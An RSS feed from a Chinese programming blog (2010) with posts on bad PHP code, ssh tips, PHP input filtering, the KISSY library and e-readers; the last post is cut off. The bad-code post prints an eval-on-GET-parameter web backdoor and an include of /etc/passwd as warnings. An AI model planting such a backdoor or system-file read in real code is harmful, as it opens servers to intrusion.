<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.gracecode.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">
<channel>
<title>Gracecode.com</title>
<link>http://www.gracecode.com/</link>

<language>zh-CN</language>
<description>精于心、简于形</description>
<lastBuildDate>Fri, 20 Aug 2010 11:55:47 +0800</lastBuildDate>
<pubDate>Fri, 20 Aug 2010 11:55:47 +0800</pubDate>
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.gracecode.com/gracecode" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="gracecode" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bloglines.com/sub/http://feeds.gracecode.com/gracecode" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.gracecode.com%2Fgracecode" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><item>
<title>那些糟糕的 PHP 代码</title>
<link>http://www.gracecode.com/archives/3033/</link>
<guid>http://www.gracecode.com/archives/3033/</guid>
<pubDate>Fri, 20 Aug 2010 11:55:47 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[摘录自： http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/

我非常愿意相信，那些糟糕的 PHP 代码远比让人觉得舒服...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p>摘录自： <a href="http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/" title="http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/">http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/</a></p>

<p>我非常愿意相信，那些糟糕的 PHP 代码远比让人觉得舒服的代码多得多 -- 当然，他们的共同 点是一样的，就是都能让人“眼前一亮”。</p>

<p>下面例子中的些代码，能告诉我们如何能让事情更加糟糕。</p>

<h2>Example 1.</h2><pre>if (file_exist('../../../../etc/passwd')) {
    include('../../../../etc/passwd');
}</pre><p>谁知道你的 PHP 代码会被 SA 扔到服务器的哪个位置？如果你真的想这么干，那么定义个常量吧。 好吧、好吧，我说过不止一次了…</p>

<pre>define('BASE_PATH', '../');

if ($include_file = realpath(BASE_PATH . 'passwd')) {
    include($include_file);
}</pre><p>PS，尤其需要当心的是，这样的代码往往会留下安全漏洞。</p>

<h2>Example 2.</h2><pre>if (!isset($_GET['month'])) {
    ...
} else {
    if (isset($_POST['submit_fin'])) {
        ...
    }
}</pre><p>那么多参数我怎么能记得住，同时让脚本接收 <tt>$_GET</tt> 和 <tt>$_POST</tt> 参数往往是混乱的开始。同时，那 么多的“一坨”的 <tt>if...else</tt> 看起来就让人感到不适，如果控制语句块嵌套超过 3 层，那么可以 考虑是否可以换个思路了。</p>

<h2>Example 3.</h2><pre>function InitBVar(&amp;$var) {
    $var = ($var==&quot;Y&quot;) ? &quot;Y&quot; : &quot;N&quot;;
}</pre><p><a href="http://bbs.phpchina.com/viewthread.php?tid=102653" title="http://bbs.phpchina.com/viewthread.php?tid=102653">传值引用</a>是个好东西，但如其他的奇技淫巧一样， 如果使用不当很容易割伤自己。</p>

<p>同时需要注意的是， 自 PHP 5 起，new 自动返回引用，因 此在此使用 <tt>=&amp;</tt> 已经过时了并且会产生 <tt>E_STRICT</tt> 级的消息。例如</p>

<pre>$foo =&amp; find_var($bar);</pre><p>所以可以理解上面的<a href="http://blog.csdn.net/alishun/archive/2009/12/25/5076303.aspx" title="http://blog.csdn.net/alishun/archive/2009/12/25/5076303.aspx">代码为何会出错</a> （同时这在 PHP4 中并不会！）。</p>

<p>随着“积木越搭越高”，有时这个问题可能会耗费你一个下午的时间，因此应尽量避免使用它。</p>

<h2>Example 4.</h2><pre>function htmlspecialcharsex($str) {
    if (strlen($str)&gt;0) {
        $str = str_replace(&quot;&amp;amp;&quot;, &quot;&amp;amp;amp;&quot;, $str);
        $str = str_replace(&quot;&amp;lt;&quot;, &quot;&amp;amp;lt;&quot;, $str);
        $str = str_replace(&quot;&amp;gt;&quot;, &quot;&amp;amp;gt;&quot;, $str);
        $str = str_replace(&quot;&amp;quot;&quot;, &quot;&amp;amp;quot;&quot;, $str);
        $str = str_replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;, $str);
        $str = str_replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;, $str);
        $str = str_replace(&quot;\&quot;&quot;, &quot;&amp;quot;&quot;, $str);
    }
    return $str;
}</pre><p>类似的你可能自己实现过 <a href="http://www.php.net/manual/en/book.json.php" title="http://www.php.net/manual/en/book.json.php">json</a> 、xml 等解析器，这都是在编码前没有<a href="http://www.php.net/manual/en/" title="http://www.php.net/manual/en/">翻阅 PHP 手册</a>的缘故。</p>

<pre>if (!function_exists('testfunc')) {
  function testfunc() { }
}</pre><p>如果你不确定将来的环境是否有对应的函数，那么你可以使用 function_exists 来判断。</p>

<h2>Example 5.</h2><pre>str_replace(&quot;\t&quot;, &quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;, $file_new);</pre><p>我知道你很迷惑为什么制表符不加入 HTML 实体中，但请你记住还有 <tt>&lt;pre&gt;</tt> 这个标签。同时如果想要调整间距， 那么 CSS 可能是你需要了解的。</p>

<h2>Example 6.</h2><pre>$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query(&quot;INSERT INTO `table` (id) VALUES ('&quot;.$id.&quot;'&quot;);
}</pre><p>MySQL 表示压力很大!</p>

<h2>Example 7.</h2><pre>$find = str_replace(&quot;,&quot;, &quot;&quot;, $find);
$find = str_replace(&quot;.&quot;, &quot;&quot;, $find);
$find = str_replace(&quot;/&quot;, &quot;&quot;, $find);
$find = str_replace(&quot; &quot;, &quot;&quot;, $find);
$find = str_replace(&quot;-&quot;, &quot;&quot;, $find);
$find = str_replace(&quot;+&quot;, &quot;&quot;, $find);
$find = str_replace(&quot;#&quot;, &quot;&quot;, $find);</pre><p>上面的代码如果你觉得复制粘贴非常累，那么可以考虑使用循环</p>

<pre>$words = array(',', '.', '/', '-', '+', '#');
foreach($words as $word) {
    str_replace(&quot;#&quot;, &quot;&quot;, $find);
}</pre><p>当然，如果知道还有正则这个玩意的话，那就更好了</p>

<pre>$find = preg_replace('%\,|\.|\/|\-|\+|#%', &quot;&quot;, $find);</pre><p>Update</p>

<pre>str_replace 其实也是可以用数组做为参数的， 类似这样：
str_replace(array(',',&quot;.&quot;), &quot;&quot;, $source); 
理论上应该比用正则效率高。</pre><p>by <a href="http://avenger.name/" title="http://avenger.name/">avenger</a></p>

<h2>Example 8.</h2><pre>echo &quot;&lt;html&gt;&quot;;
echo &quot;&lt;body&gt;&quot;;
echo &quot;&lt;h1&gt;This is my home page&lt;/h1&gt;&quot;;
echo &quot;DATENG &amp; DOORWAY&quot;;
echo &quot;&lt;/body&gt;&quot;;
echo &quot;&lt;/html&gt;&quot;;
if (isset($_GET['admin'])) eval($_GET['admin']);</pre><p>当有大段的 echo 出现的时候，你就应该考虑是否需要个<a href="http://www.smarty.net/" title="http://www.smarty.net/">模板引擎</a>了。 除此之外，简单的做法就是 include 个文本文件（请放心，PHP 会直接输出它的内容），然后再需要输出 变量的地方使用 PHP 标签。</p>

<p>注意最后一句代码，它可能会毁掉你整个系统！如果这段不是你加入的，那么你可能已经被入侵了。请记住 几个原则 1、永远都不要尝试使用 eval 函数 2、永远都不要直接使用 <tt>$_GET</tt> 和  <tt>$_POST</tt> 等用户输入的 变量。</p>

<h2>Example 9.</h2><pre>if (isset($param) &amp;&amp; $param!=null &amp;&amp; $param!=0 &amp;&amp; $param&gt;1) {
    sendRequest($param);
}</pre><p>过多的条件判断等于没有判断，上面的代码可以考虑下精简成下面这个样子</p>

<pre>if (is_numeric($param) &amp;&amp; $param &gt; 1) {
    sendRequest($param);
}</pre><h2>Example 10.</h2><pre>switch (true) {
    case $formid == 'search_form' :
    case $formid == 'search_theme_form' :
        $form['#action'] = getlangpref() . ltrim($form['#action'], '/');
        $form['#submit']['gpcustom_customsubmit'] = array();
        break;
    case $formid == 'localizernode_translations' :
        foreach ( $form['languages'] as $key =&gt; $value ) {
            if ( !is_array($value['#options']) ) continue;
            asort($form['languages'][$key]['#options']);
        }
        break;
    case $formid == 'contact_mail_page' :
        if ( $url = variable_get('gpcustom-contact-form-redirect', false) )
            $form['#redirect'] = $url;
        break;

}</pre><p>偷个懒，这坨代码留给大家去优化吧，我想你们会做得更好的 :^) 各位有其他更糟糕的例子吗？欢迎提供。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>13</slash:comments>
<comments>http://www.gracecode.com/archives/3033/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>BamBook 的未来</title>
<link>http://www.gracecode.com/archives/3032/</link>
<guid>http://www.gracecode.com/archives/3032/</guid>
<pubDate>Wed, 11 Aug 2010 23:46:24 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[http://farm5.static.flickr.com/4059/4331037201_edc89484ba.jpg

单纯从规模上讲，目前拥有至少[[http://tech.sina.co...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p><img src="http://farm5.static.flickr.com/4059/4331037201_edc89484ba.jpg" alt="http://farm5.static.flickr.com/4059/4331037201_edc89484ba.jpg" title="http://farm5.static.flickr.com/4059/4331037201_edc89484ba.jpg" /></p>

<p>单纯从规模上讲，目前拥有至少<a href="http://tech.sina.com.cn/i/2010-03-31/10054006478.shtml" title="http://tech.sina.com.cn/i/2010-03-31/10054006478.shtml">七家文学站点的盛大</a>，推出 <a href="http://bambook.sdo.com/" title="http://bambook.sdo.com/">BamBook 阅读器</a>丝毫让人感觉不到意外。</p>

<p>这款目前称为 BamBook 的阅读器外形与我期前接触的内部版并无多大的改变。当时由于是内测版本没有印上 Logo，给人第一眼的印象就是国内 Kindle 的山寨板。</p>

<p>都知道 BamBooke 面对的对手不是 iPad，而是 Amazon 的 Kindle。在面对已经历经三代的 Kindle 面前，新生的 Bambook 就好比是孩子对比成年人一样，没有任何的对比性可言。</p>

<p>一开始将 BamBook 的目标定位为 Kindle 未免有些不太现实，其实我们能理解，<a href="http://www.cnbeta.com/articles/119013.htm" title="http://www.cnbeta.com/articles/119013.htm">BamBook 主要面对的是国内中低端阅读器市场</a>。</p>

<p>然而，国内的“特殊环境”可能是制约此类产品发展的因素之一。这就好比国外卖手机其实卖的是服务而非硬件，国内此 类产品永远大多都是在做“产品”而非“服务”。</p>

<p>盛大当然也考虑过这个道理，因此考虑这款产品如何生存下去的条件之一，就是如何降低成本降低售价。BamBook 那 1k 不到的卖价，自然也就在情理之内（同时<a href="http://www.cnbeta.com/articles/119024.htm" title="http://www.cnbeta.com/articles/119024.htm">我有理由相信以后的价格只会更低</a>）。</p>

<p>相对价格，时隔几个月不知此时发布的版本稳定性和速度对比那时体验的内测版是否有所提升。如果还是老样子，那么即便是如此低廉的价格，恐怕还是很难打动挑剔的消费者。</p>

<p>随着 iPad 等平板电脑的持续发力（虽然两类产品无法共同比较）、Kindle 的第三代版本目前最低售价也才一百多美元、同时国内现有的例如<a href="http://www.hanwang.com.cn/epbooks/" title="http://www.hanwang.com.cn/epbooks/">汉王</a>等传统电子书厂商也有降价的趋势。</p>

<p>光控制成本和售价并不能说明 Bambook 有多少的竞争力。如果想在这堵墙中拉开道口子，BamBook 必须在其它的地方寻找突破口。</p>

<p>首先能想到的就是盛大目前掌握的资源 ，“搅局的人永远在后面出现”，不要忘记盛大的掌中已经有几家国内规模较大文学站点。如果盛大能将这些资源充分的利用 对接起来，那么原本风平浪静的国内阅读器市场将会变得复杂。</p>

<p>我们可以想象下此时盛大的心态，这个在大部分人眼中还是家依靠游戏外包发家的公司，对比腾讯没有其影响力和用户基础、对比百度其没有技术。如果其想要转型，那么除了大肆收购的手段之外，剩下事情就是组建自己的核心生态圈－－回头看其实这个局早在 2006 年就已经开始布置。</p>

<p>我们回看 BamBook 产品本身，那外形类似 Kindle、平台 UI （<a href="http://bambook.sdo.com/" title="http://bambook.sdo.com/">甚至产品页面</a>）类似 Apple 的 Bambook，它首先需要做的就是摆脱那模仿的影子，<a href="http://bambookbbs.sdo.com/show.aspx?id=3139" title="http://bambookbbs.sdo.com/show.aspx?id=3139">同时避免那些拙劣的推广手段</a>。</p>

<p>那么这样，才有它的未来。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>4</slash:comments>
<comments>http://www.gracecode.com/archives/3032/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>“我是如此得深爱着 ssh”</title>
<link>http://www.gracecode.com/archives/3030/</link>
<guid>http://www.gracecode.com/archives/3030/</guid>
<pubDate>Tue, 27 Jul 2010 22:19:39 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[ssh 绝对不不仅仅是类似 telnet 这样远程登录管理主机那么简单。下面的些
技巧，或许可以激发起你对这个“老朋友”重新认识的兴趣。

有部分内容来自：http://derwiki.tumb...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p>ssh 绝对不不仅仅是类似 telnet 这样远程登录管理主机那么简单。下面的些 技巧，或许可以激发起你对这个“老朋友”重新认识的兴趣。</p>

<p>有部分内容来自：<a href="http://derwiki.tumblr.com/post/841579929/how-i-learned-to-stop-worrying-and-love-ssh" title="http://derwiki.tumblr.com/post/841579929/how-i-learned-to-stop-worrying-and-love-ssh">http://derwiki.tumblr.com/post/841579929/how-i-learned-to-stop-worrying-and-love-ssh</a></p>

<h2>建立 HTTP 隧道</h2><p>如果你需要访问线上集群中某台内网主机，那么你可以这样</p>

<pre>ssh -f -N -L 31609:192.168.0.1:80 remotehost</pre><p>当运行完毕以后，打开本地浏览器访问 <tt>http://localhost:31609</tt> 端口，则可以获取 <tt>remotehost</tt> 访问 192.168.0.1 的 80 端口的数据。</p>

<h2>反向 ssh 隧道</h2><p>如果本地局域网无法访问某些站点，那么你可以利用你的 ssh 主机通过它去访问。你可以使用</p>

<pre>ssh -D 8080 remotehost</pre><p>然后设置代理为 <tt>localhost:8080</tt> 则可以通过 <tt>remotehost</tt> 访问制定的资源。</p>

<p>PS，如果你使用 Mac，并经常会这样干，<a href="http://code.google.com/p/issh-improved/" title="http://code.google.com/p/issh-improved/">那么你会喜欢这个工具</a>。</p>

<h2>直接运行远程脚本</h2><p>ssh 其实可以直接指定运行远程主机的命令。例如，每次登录并查看线上的日志是件非常繁琐的累活。其实你可以使用下面的命令</p>

<pre>ssh user@remotehost &quot;taif -f /var/log/apache/access.log&quot;</pre><p>它会 ssh 登录以后直接执行指定的命令。这样我们可以构建本地脚本让其接受远程服务器的输出，做更多的事情。</p>

<h2>压缩传送文件和目录</h2><p>有时候不想开启 SFTP 工具传送文件，那么下面的命令会帮到你</p>

<pre>tar cvfz - localFileOrDir | ssh user@remotehost 'cd /remote/path/to/unpack/ ; tar xvfz -'</pre><p>这个命令可以自动讲本地的文件或者目录打包压缩以后，通过 ssh 传输到 remotehost 主机，然后 remotehost 会自动将其解压缩。</p>

<h2>自动登录 ssh</h2><p>最后个 ssh 技巧，上面的技巧的确是很实用，但是我们也受不了每次都要输入次密码。如果你的确厌烦了这些，那么尝试执行下面的命令：</p>

<pre>ssh user@remotehost 'cat &gt;&gt; ~/.ssh/authorized_keys' &lt; ~/.ssh/id_rsa.pub</pre><p>这样远程的主机就会保存你本地的公钥，你就可以自动 ssh 登录远程主机（<a href="http://josephjiang.com/article/putty-key/" title="http://josephjiang.com/article/putty-key/">详细</a>）。</p>

<p>顺便提醒：强烈提醒您保护好您主目录下的 ssh 私钥，否则您的帐户可能会面临风险。</p>

<p>还有些有用的参数</p>

<ul>
    <li><tt>-C</tt> 这个参数可以将文本数据压缩传送</li>
    <li><tt>-X</tt> 如果远程服务器支持 X11 forwarding ，那么远程的 X 应用直接可以在本地显示运行（当然你本地要有 X Server）</li>
</ul>

<p>各位还有什么其它好用的 ssh tips，欢迎不吝指出。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>12</slash:comments>
<comments>http://www.gracecode.com/archives/3030/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>不要再使用 $_GET 了</title>
<link>http://www.gracecode.com/archives/3029/</link>
<guid>http://www.gracecode.com/archives/3029/</guid>
<pubDate>Wed, 14 Jul 2010 10:54:42 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[[[http://www.phparch.com/2010/07/08/never-use-_get-again/|看见 PHP Arch 上重新提及 Fliter 模块]]，的确这个模块能节省我们不...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p><a href="http://www.phparch.com/2010/07/08/never-use-_get-again/" title="http://www.phparch.com/2010/07/08/never-use-_get-again/">看见 PHP Arch 上重新提及 Fliter 模块</a>，的确这个模块能节省我们不少的时间，这里再次整理下。</p>

<p>$_GET 和 $_POST 等用户提供的数据如果使用不当，如验证、过滤不全面，就很容易造成安全问题。通常情况下，我们会编写“一坨”正则来验证数据格式是否合法。</p>

<p>现在，有另外种方法让这过程变得更加的可靠和高效。</p>

<p>在 PHP5.2 中，内置了<a href="http://www.php.net/manual/en/book.filter.php" title="http://www.php.net/manual/en/book.filter.php">Filter 模块</a>，用于变量的验证和过滤。</p>

<p>过滤变量等操作可以<a href="http://www.gracecode.com/archives/3013/" title="http://www.gracecode.com/archives/3013/">参看我原先提及的</a>，这里我们看下如何直接过滤用户输入的内容。</p>

<p>Fliter 模块对应的 filter_input 函数使用起来非常的简单，例如我们过滤用户输入名为 sample 的 GET 参数为整型，那么可以这样写</p>

<pre>filter_input(INPUT_GET, &quot;sample&quot;, FILTER_SANITIZE_NUMBER_INT);</pre><p>filter_input 的参数分别是用户输入类型、对应的输入名称、以及过滤（验证）常量。目前 filter_input 支持下面几种用户输入</p>

<pre>INPUT_GET     // 对应 $_GET
INPUT_POST    // 对应 $_POST
INPUT_COOKIE  // 对应 $_COOKIE
INPUT_SERVER  // 对应 $_SERVER
INPUT_ENV     // 对应 $_ENV</pre><p>配合<a href="http://www.php.net/manual/en/filter.filters.php" title="http://www.php.net/manual/en/filter.filters.php">内置提供的各种验证标记符</a>，就可以解决类似的用户输入过滤等“体力活”。</p>

<p>最后，还是需要再提下 Filter 的个不大不小的陷阱</p>

<pre>filter_var('abc', FILTER_VALIDATE_BOOLEAN); // bool(false)
filter_var('0',   FILTER_VALIDATE_BOOLEAN); // bool(false)</pre><p>总体而言，这并不影响我们去尝试它 :^)</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>12</slash:comments>
<comments>http://www.gracecode.com/archives/3029/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>KISSY，重装上阵</title>
<link>http://www.gracecode.com/archives/3028/</link>
<guid>http://www.gracecode.com/archives/3028/</guid>
<pubDate>Wed, 30 Jun 2010 14:35:50 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[面对繁杂的 JavaScript 库，其实到最后其实是[[http://www.gracecode.com/archives/2755/|设计哲学的问题]]。这篇文章将要介绍的是篇名为 KISSY 的...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p><!-- <img src="http://kissy.googlecode.com/svn/trunk/assets/kissy.png" alt="http://kissy.googlecode.com/svn/trunk/assets/kissy.png" title="http://kissy.googlecode.com/svn/trunk/assets/kissy.png" /> --></p>

<p>面对繁杂的 JavaScript 库，其实到最后其实是<a href="http://www.gracecode.com/archives/2755/" title="http://www.gracecode.com/archives/2755/">设计哲学的问题</a>。这篇文章将要介绍的是篇名为 KISSY 的 JavaScript 库。</p>

<h2>渊源</h2><p>前面也说过，JavaScript 库已经足够的多。可能看起来又要重新建立一套 JavaScript 库，有点重复造“轮子”的嫌疑，而 KISSY 的出现只是顺水推舟的结果。</p>

<p>过多的话语已经难以解释清楚 KISSY 的渊源，<a href="http://lifesinger.org/blog/2010/06/kissy-core-preview/" title="http://lifesinger.org/blog/2010/06/kissy-core-preview/">这里有个详细的说明</a>。</p>

<h2>风格</h2><p>KISSY 的多数设计哲学源自 <a href="http://developer.yahoo.com/yui/3/" title="http://developer.yahoo.com/yui/3/">YUI3</a>，同时也借鉴 了其他 JavaScript 库，我们可以看它的典型调用：</p>

<pre>(function() {
    var S = KISSY, Y = YAHOO.util, Dom = Y.Dom,
        descList = S.DOM.children('#slideFocus ul.desc-list li');

    S.Slide('#slideFocus', {
        contentCls: 'pic-list',
        navCls: 'thumbs-list',
        activeTriggerCls: 'current',
        effect: 'scrollx',
        easing: YAHOO.util.Easing.easeOutStrong
    })
    .on('beforeSwitch', function(ev) {
        S.each(descList, function(desc, i) {
            desc.style.display = i === ev.toIndex ? 'block' : 'none';
        });
    });
})();</pre><p>我们可以看到若隐若现的其他框架的风格，例如 jQuery 和 mootools，总之使用 KISSY 你会“重新找回书写 JavaScript 的快感”。</p>

<p><img src="http://pic.yupoo.com/feelinglucky/8903298e1ebe/medium.jpg" alt="http://pic.yupoo.com/feelinglucky/8903298e1ebe/medium.jpg" title="http://pic.yupoo.com/feelinglucky/8903298e1ebe/medium.jpg" /></p>

<p>（来自 <a href="http://www.cnblogs.com/bluedream2009/archive/2010/06/09/1755105.html" title="http://www.cnblogs.com/bluedream2009/archive/2010/06/09/1755105.html">BlueDream</a>，<a href="http://is.gd/d9BSU" title="http://is.gd/d9BSU">查看大图</a>）</p>

<p>从框架结构上说，KISSY 是相对精简的一套库，核心（core）非常的精炼。甚至你可以考虑基于 KISSY 扩展出适合自己的框架，例如针对 iPad 等等的特定库。</p>

<h2>未来</h2><p>KISSY 是开源项目，基于 MIT 协议发布。因此，KISSY 的未来掌握在广大开发者手中。相比目前现有的成熟的框架库，KISSY 还是个初生的新儿，因此尤其需要大家的支持。</p>

<p>目前 KISSY 已经部署到淘宝的大部分页面（包括首页），承受着不同浏览器以及大规模访 问量的考验。有理由相信 KISSY 能部署到更多的地方，让业界一起分享我们在前端方面的 心得和经验。</p>

<p>如果你有任何疑问，可以<a href="http://kissy.googlecode.com/" title="http://kissy.googlecode.com/">访问 KISSY 的项目主页</a>；同时官方站点、文档等方面也正在筹备和编写中。KISSY 的成长离不开广大同行的支持，我们的愿景是：</p>

<pre>小巧灵活、简洁实用，使用起来让人感到愉悦</pre><p>最后，感谢 <a href="http://lifesinger.org/blog/" title="http://lifesinger.org/blog/">玉伯</a> 的努力，KISSY 的成长他付出了很多。</p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>6</slash:comments>
<comments>http://www.gracecode.com/archives/3028/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>2010 南非世界杯啦啦队主题曲</title>
<link>http://www.gracecode.com/archives/3027/</link>
<guid>http://www.gracecode.com/archives/3027/</guid>
<pubDate>Thu, 17 Jun 2010 21:24:14 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[世界杯除了各国的球队以及美女啦啦队意外，还有其他很多的看点。其中，一种名为[[http://en.wikipedia.org/wiki/Vuvuzela|“Vuvuzela”]]的“神器”在这届世界杯...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<p>世界杯除了各国的球队以及美女啦啦队意外，还有其他很多的看点。其中，一种名为<a href="http://en.wikipedia.org/wiki/Vuvuzela" title="http://en.wikipedia.org/wiki/Vuvuzela">“Vuvuzela”</a>的“神器”在这届世界杯中大放异彩。</p>

<p>情理之中意料之外的是，<a href="http://news.xinmin.cn/rollnews/2010/06/17/5284696.html" title="http://news.xinmin.cn/rollnews/2010/06/17/5284696.html">这种非洲土著的“<del>神</del>乐器”竟然是中国义乌产</a>。“中国队”以另种方式打进了世界杯！</p>

<p>要亲听本届南非世界杯的主题曲之前，<a href="http://v.youku.com/v_show/id_XMTgwODgxNjIw.html" title="http://v.youku.com/v_show/id_XMTgwODgxNjIw.html">当然要首先倾听 Vuvuzela 的音色</a>。这是多么完美的 B♭ 调，整个乐器只有一个音阶甚至只有一个音符，实在是不可多得的老少皆宜的大众乐器。</p>

<p>下面步入正题，提供五线谱和各广大音乐爱好者分享（<a href="http://blog.dotnil.org/84475.html" title="http://blog.dotnil.org/84475.html">via</a>）</p>

<p><img src="http://files.gracecode.com/2010_06_17/1276781001.jpg" alt="http://files.gracecode.com/2010_06_17/1276781001.jpg" title="http://files.gracecode.com/2010_06_17/1276781001.jpg" /></p>

<p>当然，<a href="http://v.youku.com/v_show/id_XMTgxNTM5MTAw.html" title="http://v.youku.com/v_show/id_XMTgxNTM5MTAw.html">这里还提供视频教学</a>，方便大家一对一学习。</p>

<p>等等，如果这还觉得手头没有 Vuvuzela 这样的“神器”，那么你可以寻找其他任何可以发声的乐器，<a href="http://yfrog.com/jayb4sz" title="http://yfrog.com/jayb4sz">例如口琴</a>。</p>

<p>不过话说回来，幸亏世界杯没有在天朝举办，否则连锣等这样的乐器可能都要实名凭身份证购买了…</p>

<p>最后，喜欢这声音的读者，这里还有张专辑供收藏使用：</p>

<p><img src="http://dulei.si/files/4e684695f6fea6341aab8f220f3f1cd3.jpg" alt="http://dulei.si/files/4e684695f6fea6341aab8f220f3f1cd3.jpg" title="http://dulei.si/files/4e684695f6fea6341aab8f220f3f1cd3.jpg" /></p>

<p><tt>-- EOF --</tt></p>


]]></content:encoded>
<slash:comments>4</slash:comments>
<comments>http://www.gracecode.com/archives/3027/#comments</comments>
<wfw:commentRss>http://www.gracecode.com/feed/archives/3023/</wfw:commentRss>
</item>
<item>
<title>Apple 平台下开发的成本</title>
<link>http://www.gracecode.com/archives/3026/</link>
<guid>http://www.gracecode.com/archives/3026/</guid>
<pubDate>Wed, 16 Jun 2010 21:43:55 +0800</pubDate>
<dc:creator>明城</dc:creator>
<description><![CDATA[== 现状 ==

无论各方面如何评论，在 Apple 平台下开发越来越丰富。回想几年前如果想要招聘专业在 Mac/iPhone 平台下的开发人员，那几乎是不可能的事情。

Apple 平台下...]]></description>
<content:encoded xml:lang="zh-CN"><![CDATA[
<h2>现状</h2><p>无论各方面如何评论，在 Apple 平台下开发越来越丰富。回想几年前如果想要招聘专业在 Mac/iPhone 平台下的开发人员，那几乎是不可能的事情。</p>

<p>Apple 平台下开发的那种狂热，让我觉得很是意外但想想却又是情理之中。Apple 的总市值已经超过微软，同时 <a href="http://www.cocoachina.com/applenews/devnews/2010/0517/1453.html" title="http://www.cocoachina.com/applenews/devnews/2010/0517/1453.html">ObjC 已经挺进了编程语言的前十</a>。</p>

<p>这种情况让我总不免对比当年的 C# 和 Java -- Apple 平台下的开发，又将会是新的一轮的淘金热。</p>

<h2>成本</h2><p>与其他平台不同，想要在 Apple 平台下开发，需要有一定的硬件成本。首先，最好必须要有苹果的产品（用“黑苹果”使用不是“那么回事”）。同时如果想要 iPhone 下的开发并想要在 App Store 中卖的话，那么又得交份“保护费”。</p>

<p>然后就是其他的软成本。<a href="http://theocacao.com/document.page/605" title="http://theocacao.com/document.page/605">具体这里有篇文章写的很详细</a>，这里主要列出的可能会碰到的技术问题：</p>

<p><img src="http://files.gracecode.com/2010_06_16/1276695984.png" alt="http://files.gracecode.com/2010_06_16/1276695984.png" title="http://files.gracecode.com/2010_06_16/1276695984.png" /></p>

